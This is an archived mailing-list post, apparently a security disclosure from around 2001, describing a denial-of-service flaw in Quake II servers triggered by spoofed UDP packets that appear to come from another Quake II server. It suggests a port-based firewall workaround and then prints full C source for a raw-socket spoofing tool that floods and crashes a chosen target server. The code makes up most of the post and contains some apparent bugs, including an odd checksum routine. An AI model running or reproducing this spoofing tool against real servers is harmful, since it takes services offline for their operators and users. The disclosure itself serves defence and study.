Hello, this is a followup post to my previous message. In addition to the spoofed udp packets of 127.0.0.1, the attacker can also spoof udp packets to the Quake II server port from another Quake II server with the originating port the same as the Quake II server. This will make the target server ask for a connection from the spoofed Quake II server and the spoofed Quake II server will accept therefore sending a Connect $ making Quake II crash. There is no official patch for this bug yet, however, for a temporary fix you could firewall all connectiontions comming to your computer on port 27910 with a source port of 27910 or other similar Quake II ports. I have included source code to exploit this vulnerability, please do not use it for malicious intent. Thanks go out to Jordy for comming up with the idea for the fix, as his server is the only one up for hours on end. =) /* Eclipse Quake II Denial of Service II Code by profound darkness <peedeeat_private> */ #include <string.h> #include <netdb.h> #include <stdio.h> #include <netdb.h> #include <unistd.h> #include <sys/time.h> #include <arpa/inet.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <netinet/ip.h> #include <netinet/tcp.h> #include <netinet/ip_udp.h> #include <netinet/in_systm.h> #include <netinet/protocols.h> FILE *hemroids; struct iphdr *ip; struct udphdr *udp; struct sockaddr_in sinner; unsigned long destination; char *packet; int flag; void usage(char *proggy) { printf("\nUsage: %s <argument> <argument> <argument> <argument>\n\n", proggy); printf(" <argument> : Quake II server to spoof\n"); printf(" <argument> : Port to send udp packets to\n"); printf(" <argument> : Number of packets to send\n"); printf(" <argument> : Quake II server to crash\n\n"); exit(0); } char lookup(char *hostaddy) { struct hostent *he; he = gethostbyname(hostaddy); if (he) { memset(&sinner, 0, sizeof(struct sockaddr_in)); memcpy((caddr_t)&sinner.sin_addr.s_addr, he->h_addr, he->h_length); sinner.sin_family = AF_INET; sinner.sin_addr.s_addr = inet_addr(hostaddy); sinner.sin_family = he->h_addrtype; } else { printf("\"%s\" is an unknown hostname.\n", hostaddy); flag = 1; return 0; } return ((unsigned long) he->h_addr); } unsigned short in_cksum(addr, len) u_short *addr; int len; { register int lenny = len; register u_short *w = addr; register int sum = 0; u_short answer = 0; while (lenny > 1) { sum += *w++; sum += *w++; lenny -= 2; } if (lenny == 1) { *(u_char *) (&answer) = *(u_char *) w; sum += answer; } sum = (sum >> 17) + (sum & 0xffff); sum += (sum >> 17); answer = -sum; return (answer); } void buildpacket(char *monster, int dport, int sport, int numpacks, char *sourceguy) { int sock, counter; packet = (char *) malloc(sizeof(struct iphdr) + sizeof(struct udphdr) + 1024); ip = (struct iphdr *) packet; udp = (struct udphdr *) (packet + sizeof(struct iphdr)); memset(packet, 0, sizeof(struct iphdr) + sizeof(struct udphdr) + 1024); ip->saddr = lookup(sourceguy); ip->daddr = destination; ip->version = 4; ip->ihl = 5; ip->ttl = 255; ip->protocol = IPPROTO_UDP; ip->tot_len = htons(sizeof(struct iphdr) + sizeof(struct udphdr) + 1024); ip->check = in_cksum(ip, sizeof(struct iphdr)); udp->source = htons(sport); udp->dest = htons(dport); udp->len = htons(sizeof(struct udphdr) + 1024); sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW); for(counter=0;counter!=numpacks;counter++) { if (sendto(sock, packet, sizeof(struct iphdr) + sizeof(struct udphdr) + 1024, 0, (struct sockaddr *) &sinner, sizeof(struct sockaddr_in)) == (-1)) { perror("SendPacket"); exit(0); } usleep(1); } } char main(int argc, char *argv[]) { int count, sender; char hostmask[100]; if (argc < 5) usage(argv[0]); if (getuid()!=0) { printf("This program requires root.\n"); exit(0); } printf("Attempting to resolve %s.\n", argv[1]); lookup(argv[1]); printf("Attempting to resolve %s.\n", argv[4]); lookup(argv[4]); if(flag == 1) goto doot; printf("Building %s packets & sending to %s:%s from %s:%s!\n", argv[3], argv[4], argv[2], argv[1], argv[2]); buildpacket(argv[4], atoi(argv[2]), atoi(argv[2]), atoi(argv[3]), argv[1]); doot: if(flag != 1) { printf("Thanks for using eclipse!\n\n"); } fclose(hemroids); exit(0); }
This archive was generated by hypermail 2b30 : Fri Apr 13 2001 - 13:37:32 PDT